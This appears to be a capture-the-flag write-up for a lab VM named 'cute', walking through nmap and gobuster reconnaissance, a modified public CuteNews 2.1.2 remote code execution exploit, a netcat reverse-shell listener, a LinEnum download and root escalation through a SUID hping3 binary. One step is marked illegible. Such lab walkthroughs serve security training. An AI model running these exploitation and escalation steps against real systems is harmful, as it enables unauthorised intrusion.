

First and foremost, discovering the VM's IP using the netdiscover command:

```
Currently scanning: 172.16.248.0/16 | Screen View: Unique Hosts
```

4 Captured ARP Req/Rep packets, from 3 hosts. Total size: 240

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:7a:cd:dc	1	60	PCS Systemtechnik GmbH
10.0.2.8	08:00:27:f0:1e:25	2	120	PCS Systemtechnik GmbH

After getting the VM's ip address and adding to /etc/hosts, do a nmap scan.

There are 2 web ports, 80 and 88.

88 is a rabbit hole as the files for the webserver is located on /root folder.

Nothing significant on port 110 and 995 either.

```
[user@parrot-virtual]~[~/Desktop]
$ nmap -A cute
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-05 09:50 +08
Nmap scan report for cute (10.0.2.8)
Host is up (0.00039s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
|_ ssh-hostkey:
|   2048 04:d0:6e:c4:ba:4a:31:5a:6f:b3:ee:b8:1b:ed:5a:b7 (RSA)
|   256 24:b3:df:01:0b:ca:c2:ab:2e:e9:b0:58:08:6a:fa (ECDSA)
|_  256 6a:c4:35:6a:7a:1e:7e:51:85:5b:81:5c:7c:74:49:84 (ED25519)
80/tcp    open  http           Apache httpd 2.4.38 ((Debian))
|_ http-server-header: Apache/2.4.38 (Debian)
|_ http-title: Apache2 Debian Default Page: It works
88/tcp    open  http           nginx 1.14.2
|_ http-server-header: nginx/1.14.2
|_ http-title: 404 Not Found
110/tcp   open  pop3           Courier pop3d
|_ pop3-capabilities: UIDL PIPELINING TOP IMPLEMENTATION(Courier Mail Server) STLS UTF8(USER) USER LOGIN-DELAY(10)
|_ ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
|_ Subject Alternative Name: email:postmaster@example.com
|_ Not valid before: 2020-09-17T16:28:06
|_ Not valid after:  2021-09-17T16:28:06
995/tcp   open  ssl/pop3       Courier pop3d
|_ pop3-capabilities: UIDL PIPELINING TOP IMPLEMENTATION(Courier Mail Server) UTF8(USER) USER LOGIN-DELAY(10)
|_ ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
|_ Subject Alternative Name: email:postmaster@example.com
|_ Not valid before: 2020-09-17T16:28:06
|_ Not valid after:  2021-09-17T16:28:06
|_ ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
```

Dirb scan turns out nothing and that is the reason is used gobuster and specify certain files extensions to be keep a lookout for.

Index.php is the main page for cute news system.

```

[user@parrot ~]$ ./scan.sh http://cute
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          http://cute
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:   gobuster/3.0.1
[+] Extensions:  php5,phtml,html,txt,bak,bk,php,php3
[+] Timeout:      10s
=====
2020/11/05 10:01:45 Starting gobuster
=====
/index.html (Status: 200)
/index.php (Status: 200)
/search.php (Status: 200)
/rss.php (Status: 200)
/docs (Status: 301)
/print.php (Status: 200)
/uploads (Status: 301)
/skins (Status: 301)
/core (Status: 301)
/manual (Status: 301)
/popup.php (Status: 200)
/captcha.php (Status: 200)
/LICENSE.txt (Status: 200)
/example.php (Status: 200)
/libs (Status: 301)
/snippet.php (Status: 200)
/show_news.php (Status: 200)
/cdata (Status: 301)
/server-status (Status: 403)
/show_archives.php (Status: 200)
=====
2020/11/05 10:06:57 Finished
=====

```

The first thing that I found is to see if cutenews version is vulnerable and searchsploit indicates that it is.

```
'>CuteNews 2.1.2<
```

I decided to look at the python code for RCE and all it takes is a slight modification.

For example:

From "{ip}/cutenews" to "{ip}" , basically we just remove the string `cutenews`.

```

CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)
CuteNews 2.1.2 - Arbitrary File Deletion
CuteNews 2.1.2 - Authenticated Arbitrary File Upload
CuteNews 2.1.2 - Remote Code Execution

```

```

def extract_credentials():
    global sess, ip
    url = f"{ip}/cdata/users/lines"

```

[illegible]

```
[user@parrot-virtual]-[/tmp]
$nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.8] 46152
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>

```
[~] SUID files:
-rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
-rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 157192 Feb  2 2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
-rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
-rwsr-sr-x 1 root root 156808 Sep  6 2014 /usr/sbin/hping3
```

Hping3 is ran as a suid binary and by issuing id, we know that the effective id is root and we can actually escalate our privileges.

```
www-data@cute:/tmp$ hping3
hping3> id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
hping3> █
```

Enough said.

```
bash-5.0# cat root.txt
0b18032c2d06d9e738ede9bc24795ff2
bash-5.0# █
```